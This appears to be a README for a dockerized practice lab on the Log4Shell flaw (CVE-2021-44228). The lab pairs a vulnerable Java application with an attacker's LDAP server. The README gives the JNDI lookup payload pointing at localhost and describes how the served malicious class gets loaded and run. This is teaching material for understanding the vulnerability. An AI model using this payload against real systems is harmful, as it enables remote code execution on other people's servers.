CVE-2021-44228 (Log4Shell) Vulnerability Lab Environment

Introduction

This project provides a dockerized environment for safely practicing and understanding the critical Log4j vulnerability known as CVE-2021-44228 (Log4Shell).

Key Features

• Secure dockerized testing environment
• Custom payload testing capability
• Includes attacker's LDAP server and vulnerable Java application

Getting Started

docker compose up --build

Payload Testing

1. You can modify the payload in the test section of /vulnerable/Makefile
2. The default payload uses $${jndi:ldap://127.0.0.1:10000/}

How It Works

1. The vulnerable Java application starts
2. The attacker's LDAP server listens on port 10000
3. The vulnerable application runs
4. The Log4Shell payload is logged in the vulnerable application through the Makefile test section
5. The vulnerable application attempts a JNDI LDAP lookup
6. The LDAP server returns a malicious Java class
7. The vulnerable application loads and executes this class